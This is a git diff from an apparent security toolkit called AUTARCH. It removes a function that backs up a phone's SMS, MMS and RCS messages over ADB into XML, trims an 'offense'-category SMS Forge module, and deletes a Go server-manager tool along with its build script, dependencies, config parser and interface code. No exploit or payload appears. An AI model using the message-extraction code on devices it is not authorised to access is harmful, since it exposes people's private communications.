tid = msg.get('thread_id')
|
|
||||||
if tid and tid not in threads:
|
|
||||||
threads[tid] = {
|
|
||||||
'thread_id': tid,
|
|
||||||
'latest_message': msg.get('body', '')[:100],
|
|
||||||
'latest_date': msg.get('date_formatted', ''),
|
|
||||||
'is_rcs': msg.get('is_rcs', False),
|
|
||||||
'direction': msg.get('direction'),
|
|
||||||
'addresses': msg.get('addresses', []),
|
|
||||||
'message_count': 0,
|
|
||||||
}
|
|
||||||
if tid in threads:
|
|
||||||
threads[tid]['message_count'] += 1
|
|
||||||
return list(threads.values())
|
|
||||||
|
|
||||||
def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]:
|
def read_conversations(self, limit: int = 100) -> List[Dict[str, Any]]:
|
||||||
rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit)
|
rows = self._content_query(MMS_SMS_CONVERSATIONS_URI, limit=limit)
|
||||||
return rows
|
return rows
|
||||||
@ -1771,98 +1654,6 @@ class RCSTools:
|
|||||||
# §10 DATABASE BACKUP & CLONE
|
# §10 DATABASE BACKUP & CLONE
|
||||||
# ══════════════════════════════════════════════════════════════════════
|
# ══════════════════════════════════════════════════════════════════════
|
||||||
|
|
||||||
def backup_rcs_to_xml(self) -> Dict[str, Any]:
|
|
||||||
"""Backup all RCS messages to SMS Backup & Restore compatible XML.
|
|
||||||
|
|
||||||
Reads RCS messages from the MMS content provider (where Google Messages
|
|
||||||
syncs them as MMS records), extracts the plaintext body from parts,
|
|
||||||
and writes them in SMS Backup & Restore XML format.
|
|
||||||
|
|
||||||
Works on any Android with ADB — no root, no exploits.
|
|
||||||
"""
|
|
||||||
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
|
||||||
# Get ALL messages via MMS provider (includes both MMS and RCS)
|
|
||||||
all_msgs = self.read_rcs_via_mms(limit=10000)
|
|
||||||
rcs_msgs = [m for m in all_msgs if m.get('is_rcs')]
|
|
||||||
all_sms = self.read_sms_database(limit=10000)
|
|
||||||
|
|
||||||
# Build XML
|
|
||||||
total = len(all_sms) + len(all_msgs)
|
|
||||||
root = ET.Element('smses', count=str(total), backup_date=str(self._ts_ms()),
|
|
||||||
type='full', autarch_version='2.3')
|
|
||||||
|
|
||||||
# Add SMS messages
|
|
||||||
for msg in all_sms:
|
|
||||||
attrs = {
|
|
||||||
'protocol': str(msg.get('protocol', '0') or '0'),
|
|
||||||
'address': str(msg.get('address', '') or ''),
|
|
||||||
'date': str(msg.get('date', '') or ''),
|
|
||||||
'type': str(msg.get('type', '1') or '1'),
|
|
||||||
'body': str(msg.get('body', '') or ''),
|
|
||||||
'read': str(msg.get('read', '1') or '1'),
|
|
||||||
'status': str(msg.get('status', '-1') or '-1'),
|
|
||||||
'locked': str(msg.get('locked', '0') or '0'),
|
|
||||||
'date_sent': str(msg.get('date_sent', '0') or '0'),
|
|
||||||
'readable_date': str(msg.get('date_formatted', '') or ''),
|
|
||||||
'contact_name': str(msg.get('contact_name', '(Unknown)') or '(Unknown)'),
|
|
||||||
'msg_protocol': 'SMS',
|
|
||||||
}
|
|
||||||
ET.SubElement(root, 'sms', **attrs)
|
|
||||||
|
|
||||||
# Add RCS/MMS messages
|
|
||||||
for msg in all_msgs:
|
|
||||||
# Get sender address
|
|
||||||
sender = msg.get('sender', '')
|
|
||||||
if not sender and msg.get('addresses'):
|
|
||||||
for a in msg['addresses']:
|
|
||||||
if a.get('address') and a['address'] != 'insert-address-token':
|
|
||||||
sender = a['address']
|
|
||||||
break
|
|
||||||
ts_ms = msg.get('date_ms', msg.get('date', '0'))
|
|
||||||
msg_type = '1' if msg.get('direction') == 'incoming' else '2'
|
|
||||||
attrs = {
|
|
||||||
'protocol': '0',
|
|
||||||
'address': sender,
|
|
||||||
'date': str(ts_ms),
|
|
||||||
'type': msg_type,
|
|
||||||
'body': str(msg.get('body', '') or ''),
|
|
||||||
'read': '1',
|
|
||||||
'status': '-1',
|
|
||||||
'locked': '0',
|
|
||||||
'date_sent': str(ts_ms),
|
|
||||||
'readable_date': str(msg.get('date_formatted', '') or ''),
|
|
||||||
'contact_name': '(Unknown)',
|
|
||||||
'msg_protocol': 'RCS' if msg.get('is_rcs') else 'MMS',
|
|
||||||
'thread_id': str(msg.get('thread_id', '') or ''),
|
|
||||||
}
|
|
||||||
# Add RCS metadata if available
|
|
||||||
if msg.get('is_rcs') and msg.get('rcs_metadata'):
|
|
||||||
attrs['rcs_tr_id'] = msg['rcs_metadata']
|
|
||||||
# Add all addresses as comma-separated for group chats
|
|
||||||
if len(msg.get('addresses', [])) > 1:
|
|
||||||
attrs['group_addresses'] = ','.join(
|
|
||||||
a['address'] for a in msg['addresses']
|
|
||||||
if a.get('address') and a['address'] != 'insert-address-token'
|
|
||||||
)
|
|
||||||
ET.SubElement(root, 'sms', **attrs)
|
|
||||||
|
|
||||||
# Write to file
|
|
||||||
backup_path = self._backups_dir / f'rcs_backup_{timestamp}.xml'
|
|
||||||
tree = ET.ElementTree(root)
|
|
||||||
ET.indent(tree, space=' ')
|
|
||||||
tree.write(str(backup_path), encoding='unicode', xml_declaration=True)
|
|
||||||
|
|
||||||
return {
|
|
||||||
'ok': True,
|
|
||||||
'path': str(backup_path),
|
|
||||||
'sms_count': len(all_sms),
|
|
||||||
'mms_count': len(all_msgs) - len(rcs_msgs),
|
|
||||||
'rcs_count': len(rcs_msgs),
|
|
||||||
'total': total,
|
|
||||||
'message': f'Backup saved: {len(all_sms)} SMS + {len(rcs_msgs)} RCS + '
|
|
||||||
f'{len(all_msgs) - len(rcs_msgs)} MMS = {total} total',
|
|
||||||
}
|
|
||||||
|
|
||||||
def full_backup(self, fmt: str = 'json') -> Dict[str, Any]:
|
def full_backup(self, fmt: str = 'json') -> Dict[str, Any]:
|
||||||
"""Complete SMS/MMS/RCS backup."""
|
"""Complete SMS/MMS/RCS backup."""
|
||||||
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
timestamp = datetime.now().strftime('%Y%m%d_%H%M%S')
|
||||||
|
|||||||
@ -11,12 +11,6 @@ AUTHOR = "AUTARCH"
|
|||||||
VERSION = "1.0"
|
VERSION = "1.0"
|
||||||
CATEGORY = "offense"
|
CATEGORY = "offense"
|
||||||
|
|
||||||
|
|
||||||
def run():
|
|
||||||
"""CLI entry point — this module is used via the web UI."""
|
|
||||||
print("SMS Forge is managed through the AUTARCH web interface.")
|
|
||||||
print("Navigate to Offense → SMS Forge in the dashboard.")
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import csv
|
import csv
|
||||||
import json
|
import json
|
||||||
|
|||||||
Binary file not shown.
@ -1,51 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# Build Autarch Server Manager
|
|
||||||
# Usage: bash build.sh
|
|
||||||
#
|
|
||||||
# Targets: Linux AMD64 (Debian 13 server)
|
|
||||||
|
|
||||||
set -e
|
|
||||||
|
|
||||||
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
|
|
||||||
cd "$SCRIPT_DIR"
|
|
||||||
|
|
||||||
echo "══════════════════════════════════════════════════════"
|
|
||||||
echo " Building Autarch Server Manager"
|
|
||||||
echo "══════════════════════════════════════════════════════"
|
|
||||||
echo
|
|
||||||
|
|
||||||
# Resolve dependencies
|
|
||||||
echo "[1/3] Resolving Go dependencies..."
|
|
||||||
go mod tidy
|
|
||||||
echo " ✔ Dependencies resolved"
|
|
||||||
echo
|
|
||||||
|
|
||||||
# Build for Linux AMD64 (Debian 13 target)
|
|
||||||
echo "[2/3] Building linux/amd64..."
|
|
||||||
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build \
|
|
||||||
-ldflags="-s -w" \
|
|
||||||
-o autarch-server-manager \
|
|
||||||
./cmd/
|
|
||||||
echo " ✔ autarch-server-manager ($(ls -lh autarch-server-manager | awk '{print $5}'))"
|
|
||||||
echo
|
|
||||||
|
|
||||||
# Also build for current platform if different
|
|
||||||
if [ "$(go env GOOS)" != "linux" ] || [ "$(go env GOARCH)" != "amd64" ]; then
|
|
||||||
echo "[3/3] Building for current platform ($(go env GOOS)/$(go env GOARCH))..."
|
|
||||||
go build \
|
|
||||||
-ldflags="-s -w" \
|
|
||||||
-o autarch-server-manager-local \
|
|
||||||
./cmd/
|
|
||||||
echo " ✔ autarch-server-manager-local"
|
|
||||||
else
|
|
||||||
echo "[3/3] Current platform is linux/amd64 — skipping duplicate build"
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo
|
|
||||||
echo "══════════════════════════════════════════════════════"
|
|
||||||
echo " Build complete!"
|
|
||||||
echo ""
|
|
||||||
echo " Deploy to server:"
|
|
||||||
echo " scp autarch-server-manager root@server:/opt/autarch/"
|
|
||||||
echo " ssh root@server /opt/autarch/autarch-server-manager"
|
|
||||||
echo "══════════════════════════════════════════════════════"
|
|
||||||
Binary file not shown.
@ -1,25 +0,0 @@
|
|||||||
package main
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/darkhal/autarch-server-manager/internal/tui"
|
|
||||||
)
|
|
||||||
|
|
||||||
const version = "1.0.0"
|
|
||||||
|
|
||||||
func main() {
|
|
||||||
if os.Geteuid() != 0 {
|
|
||||||
fmt.Println("\033[91m[!] Autarch Server Manager requires root privileges.\033[0m")
|
|
||||||
fmt.Println(" Run with: sudo ./autarch-server-manager")
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
|
|
||||||
p := tea.NewProgram(tui.NewApp(), tea.WithAltScreen())
|
|
||||||
if _, err := p.Run(); err != nil {
|
|
||||||
fmt.Fprintf(os.Stderr, "Error: %v\n", err)
|
|
||||||
os.Exit(1)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@ -1,32 +0,0 @@
|
|||||||
module github.com/darkhal/autarch-server-manager
|
|
||||||
|
|
||||||
go 1.23.0
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/charmbracelet/bubbles v0.21.0
|
|
||||||
github.com/charmbracelet/bubbletea v1.3.4
|
|
||||||
github.com/charmbracelet/lipgloss v1.1.0
|
|
||||||
golang.org/x/crypto v0.32.0
|
|
||||||
)
|
|
||||||
|
|
||||||
require (
|
|
||||||
github.com/atotto/clipboard v0.1.4 // indirect
|
|
||||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 // indirect
|
|
||||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
|
|
||||||
github.com/charmbracelet/x/ansi v0.8.0 // indirect
|
|
||||||
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd // indirect
|
|
||||||
github.com/charmbracelet/x/term v0.2.1 // indirect
|
|
||||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f // indirect
|
|
||||||
github.com/lucasb-eyer/go-colorful v1.2.0 // indirect
|
|
||||||
github.com/mattn/go-isatty v0.0.20 // indirect
|
|
||||||
github.com/mattn/go-localereader v0.0.1 // indirect
|
|
||||||
github.com/mattn/go-runewidth v0.0.16 // indirect
|
|
||||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
|
||||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
|
||||||
github.com/muesli/termenv v0.16.0 // indirect
|
|
||||||
github.com/rivo/uniseg v0.4.7 // indirect
|
|
||||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect
|
|
||||||
golang.org/x/sync v0.11.0 // indirect
|
|
||||||
golang.org/x/sys v0.30.0 // indirect
|
|
||||||
golang.org/x/text v0.21.0 // indirect
|
|
||||||
)
|
|
||||||
@ -1,51 +0,0 @@
|
|||||||
github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
|
|
||||||
github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
|
|
||||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1 h1:HwpRHbFMcZLEVr42D4p7XBqjyuxQH5SMiErDT4WkJ2k=
|
|
||||||
github.com/aymanbagabas/go-osc52/v2 v2.0.1/go.mod h1:uYgXzlJ7ZpABp8OJ+exZzJJhRNQ2ASbcXHWsFqH8hp8=
|
|
||||||
github.com/charmbracelet/bubbles v0.21.0 h1:9TdC97SdRVg/1aaXNVWfFH3nnLAwOXr8Fn6u6mfQdFs=
|
|
||||||
github.com/charmbracelet/bubbles v0.21.0/go.mod h1:HF+v6QUR4HkEpz62dx7ym2xc71/KBHg+zKwJtMw+qtg=
|
|
||||||
github.com/charmbracelet/bubbletea v1.3.4 h1:kCg7B+jSCFPLYRA52SDZjr51kG/fMUEoPoZrkaDHyoI=
|
|
||||||
github.com/charmbracelet/bubbletea v1.3.4/go.mod h1:dtcUCyCGEX3g9tosuYiut3MXgY/Jsv9nKVdibKKRRXo=
|
|
||||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc h1:4pZI35227imm7yK2bGPcfpFEmuY1gc2YSTShr4iJBfs=
|
|
||||||
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc/go.mod h1:X4/0JoqgTIPSFcRA/P6INZzIuyqdFY5rm8tb41s9okk=
|
|
||||||
github.com/charmbracelet/lipgloss v1.1.0 h1:vYXsiLHVkK7fp74RkV7b2kq9+zDLoEU4MZoFqR/noCY=
|
|
||||||
github.com/charmbracelet/lipgloss v1.1.0/go.mod h1:/6Q8FR2o+kj8rz4Dq0zQc3vYf7X+B0binUUBwA0aL30=
|
|
||||||
github.com/charmbracelet/x/ansi v0.8.0 h1:9GTq3xq9caJW8ZrBTe0LIe2fvfLR/bYXKTx2llXn7xE=
|
|
||||||
github.com/charmbracelet/x/ansi v0.8.0/go.mod h1:wdYl/ONOLHLIVmQaxbIYEC/cRKOQyjTkowiI4blgS9Q=
|
|
||||||
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd h1:vy0GVL4jeHEwG5YOXDmi86oYw2yuYUGqz6a8sLwg0X8=
|
|
||||||
github.com/charmbracelet/x/cellbuf v0.0.13-0.20250311204145-2c3ea96c31dd/go.mod h1:xe0nKWGd3eJgtqZRaN9RjMtK7xUYchjzPr7q6kcvCCs=
|
|
||||||
github.com/charmbracelet/x/term v0.2.1 h1:AQeHeLZ1OqSXhrAWpYUtZyX1T3zVxfpZuEQMIQaGIAQ=
|
|
||||||
github.com/charmbracelet/x/term v0.2.1/go.mod h1:oQ4enTYFV7QN4m0i9mzHrViD7TQKvNEEkHUMCmsxdUg=
|
|
||||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f h1:Y/CXytFA4m6baUTXGLOoWe4PQhGxaX0KpnayAqC48p4=
|
|
||||||
github.com/erikgeiser/coninput v0.0.0-20211004153227-1c3628e74d0f/go.mod h1:vw97MGsxSvLiUE2X8qFplwetxpGLQrlU1Q9AUEIzCaM=
|
|
||||||
github.com/lucasb-eyer/go-colorful v1.2.0 h1:1nnpGOrhyZZuNyfu1QjKiUICQ74+3FNCN69Aj6K7nkY=
|
|
||||||
github.com/lucasb-eyer/go-colorful v1.2.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0=
|
|
||||||
github.com/mattn/go-isatty v0.0.20 h1:xfD0iDuEKnDkl03q4limB+vH+GxLEtL/jb4xVJSWWEY=
|
|
||||||
github.com/mattn/go-isatty v0.0.20/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y=
|
|
||||||
github.com/mattn/go-localereader v0.0.1 h1:ygSAOl7ZXTx4RdPYinUpg6W99U8jWvWi9Ye2JC/oIi4=
|
|
||||||
github.com/mattn/go-localereader v0.0.1/go.mod h1:8fBrzywKY7BI3czFoHkuzRoWE9C+EiG4R1k4Cjx5p88=
|
|
||||||
github.com/mattn/go-runewidth v0.0.16 h1:E5ScNMtiwvlvB5paMFdw9p4kSQzbXFikJ5SQO6TULQc=
|
|
||||||
github.com/mattn/go-runewidth v0.0.16/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w=
|
|
||||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 h1:ZK8zHtRHOkbHy6Mmr5D264iyp3TiX5OmNcI5cIARiQI=
|
|
||||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6/go.mod h1:CJlz5H+gyd6CUWT45Oy4q24RdLyn7Md9Vj2/ldJBSIo=
|
|
||||||
github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA=
|
|
||||||
github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo=
|
|
||||||
github.com/muesli/termenv v0.16.0 h1:S5AlUN9dENB57rsbnkPyfdGuWIlkmzJjbFf0Tf5FWUc=
|
|
||||||
github.com/muesli/termenv v0.16.0/go.mod h1:ZRfOIKPFDYQoDFF4Olj7/QJbW60Ol/kL1pU3VfY/Cnk=
|
|
||||||
github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc=
|
|
||||||
github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ=
|
|
||||||
github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88=
|
|
||||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no=
|
|
||||||
github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM=
|
|
||||||
golang.org/x/crypto v0.32.0 h1:euUpcYgM8WcP71gNpTqQCn6rC2t6ULUPiOzfWaXVVfc=
|
|
||||||
golang.org/x/crypto v0.32.0/go.mod h1:ZnnJkOaASj8g0AjIduWNlq2NRxL0PlBrbKVyZ6V/Ugc=
|
|
||||||
golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561 h1:MDc5xs78ZrZr3HMQugiXOAkSZtfTpbJLDr/lwfgO53E=
|
|
||||||
golang.org/x/exp v0.0.0-20220909182711-5c715a9e8561/go.mod h1:cyybsKvd6eL0RnXn6p/Grxp8F5bW7iYuBgsNCOHpMYE=
|
|
||||||
golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w=
|
|
||||||
golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
|
|
||||||
golang.org/x/sys v0.0.0-20210809222454-d867a43fc93e/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
||||||
golang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=
|
|
||||||
golang.org/x/sys v0.30.0 h1:QjkSwP/36a20jFYWkSue1YwXzLmsV5Gfq7Eiy72C1uc=
|
|
||||||
golang.org/x/sys v0.30.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
|
||||||
golang.org/x/text v0.21.0 h1:zyQAAkrwaneQ066sspRyJaG9VNi/YJ1NfzcGB3hZ/qo=
|
|
||||||
golang.org/x/text v0.21.0/go.mod h1:4IBbMaMmOPCJ8SecivzSH54+73PCFmPWxNTLm+vZkEQ=
|
|
||||||
@ -1,132 +0,0 @@
|
|||||||
// Package config provides INI-style configuration file parsing and editing
|
|
||||||
// for autarch_settings.conf. It preserves comments and formatting.
|
|
||||||
package config
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ListSections returns all [section] names from an INI file.
|
|
||||||
func ListSections(path string) ([]string, error) {
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
|
||||||
return nil, fmt.Errorf("read config: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
var sections []string
|
|
||||||
for _, line := range strings.Split(string(data), "\n") {
|
|
||||||
line = strings.TrimSpace(line)
|
|
||||||
if strings.HasPrefix(line, "[") && strings.HasSuffix(line, "]") {
|
|
||||||
sec := line[1 : len(line)-1]
|
|
||||||
sections = append(sections, sec)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return sections, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetSection returns all key-value pairs from a specific section.
|
|
||||||
func GetSection(path, section string) (keys []string, vals []string, err error) {
|
|
||||||
data, err := os.ReadFile(path)
|
|
||||||
if err != nil {
|
|
||||||
return nil, nil, fmt.Errorf("read config: %w", err)
|
|
||||||
}
|
|
||||||
|
|
||||||
inSection := false
|
|
||||||
target := "[" + section + "]"
|
|
||||||
|
|
||||||
for _, line := range strings.Split(string(data), "\n") {
|
|
||||||
trimmed := strings.TrimSpace(line)
|
|
||||||
|
|
||||||
// Check for section headers
|
|
||||||
if strings.HasPrefix(trimmed, "[") && strings.HasSuffix(trimmed, "]") {
|
|
||||||
inSection = (trimmed == target)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
if !inSection {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// Skip comments and empty lines
|
|
||||||
if trimmed == "" || strings.HasPrefix(trimmed, "#") || strings.HasPrefix(trimmed, ";") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse key = value
|
|
||||||
eqIdx := strings.Index(trimmed, "=")
|
|
||||||
if eqIdx < 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
key := strings.TrimSpace(trimmed[:eqIdx])
|
|
||||||
val := strings.TrimSpace(trimmed[eqIdx+1:])
|
|
||||||
keys = append(keys, key)
|
|
||||||
vals = append(vals, val)
|
|
||||||
}
|
|
||||||
|
|
||||||
return keys, vals, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// SetValue updates a single key in a section within the INI content string.
|
|
||||||
// Returns the modified content. If the key doesn't exist, it's appended to the section.
|
|
||||||
func SetValue(content, section, key, value string) string {
|
|
||||||
lines := strings.Split(content, "\n")
|
|
||||||
target := "[" + section + "]"
|
|
||||||
inSection := false
|
|
||||||
found := false
|
|
||||||
|
|
||||||
for i, line := range lines {
|
|
||||||
trimmed := strings.TrimSpace(line)
|
|
||||||
|
|
||||||
if strings.HasPrefix(trimmed, "[") && strings.HasSuffix(trimmed, "]") {
|
|
||||||
// If we were in our target section and didn't find the key, insert before this line
|
|
||||||
if inSection && !found {
|
|
||||||
lines[i] = key + " = " + value + "\n" + line
|
|
||||||
found = true
|
|
||||||
}
|
|
||||||
inSection = (trimmed == target)
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
if !inSection {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
// Check if this line matches our key
|
|
||||||
eqIdx := strings.Index(trimmed, "=")
|
|
||||||
if eqIdx < 0 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
|
|
||||||
lineKey := strings.TrimSpace(trimmed[:eqIdx])
|
|
||||||
if lineKey == key {
|
|
||||||
lines[i] = key + " = " + value
|
|
||||||
found = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// If key wasn't found and we're still in section (or section was last), append
|
|
||||||
if !found {
|
|
||||||
if inSection {
|
|
||||||
lines = append(lines, key+" = "+value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return strings.Join(lines, "\n")
|
|
||||||
}
|
|
||||||
|
|
||||||
// GetValue reads a single value from a section.
|
|
||||||
func GetValue(path, section, key string) (string, error) {
|
|
||||||
keys, vals, err := GetSection(path, section)
|
|
||||||
if err != nil {
|
|
||||||
return "", err
|
|
||||||
}
|
|
||||||
for i, k := range keys {
|
|
||||||
if k == key {
|
|
||||||
return vals[i], nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return "", fmt.Errorf("key %q not found in [%s]", key, section)
|
|
||||||
}
|
|
||||||
@ -1,826 +0,0 @@
|
|||||||
package tui
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"strings"
|
|
||||||
|
|
||||||
"github.com/charmbracelet/bubbles/textinput"
|
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── View IDs ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type ViewID int
|
|
||||||
|
|
||||||
const (
|
|
||||||
ViewMain ViewID = iota
|
|
||||||
ViewDeps
|
|
||||||
ViewDepsInstall
|
|
||||||
ViewModules
|
|
||||||
ViewModuleToggle
|
|
||||||
ViewSettings
|
|
||||||
ViewSettingsSection
|
|
||||||
ViewSettingsEdit
|
|
||||||
ViewUsers
|
|
||||||
ViewUsersCreate
|
|
||||||
ViewUsersReset
|
|
||||||
ViewService
|
|
||||||
ViewDNS
|
|
||||||
ViewDNSBuild
|
|
||||||
ViewDNSManage
|
|
||||||
ViewDNSZones
|
|
||||||
ViewDNSZoneEdit
|
|
||||||
ViewDeploy
|
|
||||||
ViewConfirm
|
|
||||||
ViewResult
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Styles ──────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
var (
|
|
||||||
colorRed = lipgloss.Color("#ef4444")
|
|
||||||
colorGreen = lipgloss.Color("#22c55e")
|
|
||||||
colorYellow = lipgloss.Color("#eab308")
|
|
||||||
colorBlue = lipgloss.Color("#6366f1")
|
|
||||||
colorCyan = lipgloss.Color("#06b6d4")
|
|
||||||
colorMagenta = lipgloss.Color("#a855f7")
|
|
||||||
colorDim = lipgloss.Color("#6b7280")
|
|
||||||
colorWhite = lipgloss.Color("#f9fafb")
|
|
||||||
colorSurface = lipgloss.Color("#1e1e2e")
|
|
||||||
colorBorder = lipgloss.Color("#3b3b5c")
|
|
||||||
|
|
||||||
styleBanner = lipgloss.NewStyle().
|
|
||||||
Foreground(colorRed).
|
|
||||||
Bold(true)
|
|
||||||
|
|
||||||
styleTitle = lipgloss.NewStyle().
|
|
||||||
Foreground(colorCyan).
|
|
||||||
Bold(true).
|
|
||||||
PaddingLeft(2)
|
|
||||||
|
|
||||||
styleSubtitle = lipgloss.NewStyle().
|
|
||||||
Foreground(colorDim).
|
|
||||||
PaddingLeft(2)
|
|
||||||
|
|
||||||
styleMenuItem = lipgloss.NewStyle().
|
|
||||||
PaddingLeft(4)
|
|
||||||
|
|
||||||
styleSelected = lipgloss.NewStyle().
|
|
||||||
Foreground(colorBlue).
|
|
||||||
Bold(true).
|
|
||||||
PaddingLeft(2)
|
|
||||||
|
|
||||||
styleNormal = lipgloss.NewStyle().
|
|
||||||
Foreground(colorWhite).
|
|
||||||
PaddingLeft(4)
|
|
||||||
|
|
||||||
styleKey = lipgloss.NewStyle().
|
|
||||||
Foreground(colorCyan).
|
|
||||||
Bold(true)
|
|
||||||
|
|
||||||
styleSuccess = lipgloss.NewStyle().
|
|
||||||
Foreground(colorGreen)
|
|
||||||
|
|
||||||
styleError = lipgloss.NewStyle().
|
|
||||||
Foreground(colorRed)
|
|
||||||
|
|
||||||
styleWarning = lipgloss.NewStyle().
|
|
||||||
Foreground(colorYellow)
|
|
||||||
|
|
||||||
styleDim = lipgloss.NewStyle().
|
|
||||||
Foreground(colorDim)
|
|
||||||
|
|
||||||
styleStatusOK = lipgloss.NewStyle().
|
|
||||||
Foreground(colorGreen).
|
|
||||||
Bold(true)
|
|
||||||
|
|
||||||
styleStatusBad = lipgloss.NewStyle().
|
|
||||||
Foreground(colorRed).
|
|
||||||
Bold(true)
|
|
||||||
|
|
||||||
styleBox = lipgloss.NewStyle().
|
|
||||||
Border(lipgloss.RoundedBorder()).
|
|
||||||
BorderForeground(colorBorder).
|
|
||||||
Padding(1, 2)
|
|
||||||
|
|
||||||
styleHR = lipgloss.NewStyle().
|
|
||||||
Foreground(colorDim)
|
|
||||||
)
|
|
||||||
|
|
||||||
// ── Menu Item ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type MenuItem struct {
|
|
||||||
Key string
|
|
||||||
Label string
|
|
||||||
Desc string
|
|
||||||
View ViewID
|
|
||||||
}
|
|
||||||
|
|
||||||
// ── Messages ────────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type ResultMsg struct {
|
|
||||||
Title string
|
|
||||||
Lines []string
|
|
||||||
IsError bool
|
|
||||||
}
|
|
||||||
|
|
||||||
type ConfirmMsg struct {
|
|
||||||
Prompt string
|
|
||||||
OnConfirm func() tea.Cmd
|
|
||||||
}
|
|
||||||
|
|
||||||
type OutputLineMsg string
|
|
||||||
type DoneMsg struct{ Err error }
|
|
||||||
|
|
||||||
// ── App Model ───────────────────────────────────────────────────────
|
|
||||||
|
|
||||||
type App struct {
|
|
||||||
width, height int
|
|
||||||
|
|
||||||
// Navigation
|
|
||||||
view ViewID
|
|
||||||
viewStack []ViewID
|
|
||||||
cursor int
|
|
||||||
|
|
||||||
// Main menu
|
|
||||||
mainMenu []MenuItem
|
|
||||||
|
|
||||||
// Dynamic content
|
|
||||||
listItems []ListItem
|
|
||||||
listTitle string
|
